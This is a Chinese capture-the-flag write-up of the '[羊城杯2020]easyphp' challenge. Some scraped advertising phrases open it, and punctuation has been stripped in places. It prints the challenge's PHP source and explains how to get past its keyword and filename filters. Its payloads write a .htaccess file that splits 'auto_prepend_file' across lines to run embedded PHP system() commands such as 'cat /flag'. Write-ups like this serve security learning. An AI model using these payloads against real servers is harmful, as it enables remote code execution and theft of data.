旅游电子商务网站建设调查问卷,上海百度搜索优化,外贸商城网站开发书,申请163 com免费邮箱[羊城杯2020]easyphp 文章目录 [羊城杯2020]easyphp掌握知识解题思路关键paylaod 掌握知识
.htaccess文件的利用#xff0c;把自己指定当做 php文件处理#xff1b;preg_match正则匹配的了解#xff0c;stristr函数的绕过#xff1b;file_put_contents文件写入操作的了…[羊城杯2020]easyphp 文章目录 [羊城杯2020]easyphp掌握知识解题思路关键paylaod 掌握知识
.htaccess文件的利用把自己指定当做 php文件处理preg_match正则匹配的了解stristr函数的绕过file_put_contents文件写入操作的了解。.htaccess文件格式的了解注释符后跟一行内容。代码审计unlink清除文件。文件写入第三个参数的换行符绕过。
解题思路
大家题目链接发现是一道代码审计的题目简单读了一下代码发现会在写入文件之前会删除目录下的除了index.php的文件。写入文件的文件名和文件内容也是可控的只不过存在过滤 ?php$files scandir(./); foreach($files as $file) {if(is_file($file)){if ($file ! index.php) {unlink($file);}}}if(!isset($_GET[content]) || !isset($_GET[filename])) {highlight_file(__FILE__);die();}$content $_GET[content];if(stristr($content,on) || stristr($content,html) || stristr($content,type) || stristr($content,flag) || stristr($content,upload) || stristr($content,file)) {echo Hacker;die();}$filename $_GET[filename];if(preg_match(/[^a-z\.]/, $filename) 1) {echo Hacker;die();}$files scandir(./); foreach($files as $file) {if(is_file($file)){if ($file ! index.php) {unlink($file);}}}file_put_contents($filename, $content . \nHello, world);
?
stristr函数对文件内容进行过滤该函数绕过还是简单的只需要添加一些特殊字符就可以了和字符串弱类型比较相似。对于文件名的正则匹配有点没读懂怎么个条件到底是允许字母还是不允许测试了一下该代码环境运行之后明白该正则条件输入.[a-z]是可以绕过该正则的返回false 文件名和文件内容的绕过都分析结束后就可以来想如何进行利用了既然会删除除了index.php文件直接覆盖index.php文件是不是就可以了尝试写入index.php文件但是再次访问并没有什么内容。尝试写入其他的php文件中发现只是将文件内容回显了罢了 到这里就有点明白了靶机目录环境并不会解析php文件所以才会原封不动返回出来内容测试发现是阿帕奇服务器就想到上传文件利用.htaccess配置文件执行jpg文件中的php代码但是再进行第二次文件写入时会把之前的文件删除掉所以不能上传两次来利用index.php文件也不能写入。去搜索了一下.htaccess文件的利用发现在一个文章中写了.htaccess文件也可以在不存在php文件下进行解析执行php代码利用的配置文件中的php_value auto_append_file参数[CTF].htaccess的使用技巧总结_.htaccess ctf_Y4tacker的博客-CSDN博客 文章还贴心给出了file被过滤的情况正好和本次过滤吻合可以直接套用。但是在文件写入函数中还有一个参数\nHello, world,由于\n所以在写入文件之后会把后面的英文写入到下一行根据了解这不符合当前.htaccess解析格式不能够正常解析所以需要在上面距离的代码后面先闭合php代码再加上\将\n的\进行转义即可即为?\闭合结果为?\\nHello, world即可将后面的内容输出为一行 所有的细节已经分析完毕只需要将文件名和文件内容传参即可自动解析其中的php代码将结果输出出来了#后面跟着任意代码执行由于传参是一行的所以换行的地方需要使用%0a进行代替,#用%23代替传参测试paylaod运行两次成功执行代码
?contentphp_value auto_prepend_fi\%0ale .htaccess%0a%23?php system(ls)?\filename.htaccesspaylaod成功运行得到结果接下来就只需要修改命令执行函数里面的参数找到flag文件读取拿下flag即可了根据查看发现flag在根目录下简单的RCEbypass绕过flag过滤即可拿下flag 关键paylaod
php_value auto_prepend_fi\
le .htaccess
#?php system(ls)?\?contentphp_value auto_prepend_fi\%0ale .htaccess%0a%23?php system(ls)?\filename.htaccess?contentphp_value auto_prepend_fi\%0ale .htaccess%0a%23?php system(ls /)?\filename.htaccess?contentphp_value auto_prepend_fi\%0ale .htaccess%0a%23?php system(cat /flag)?\filename.htaccess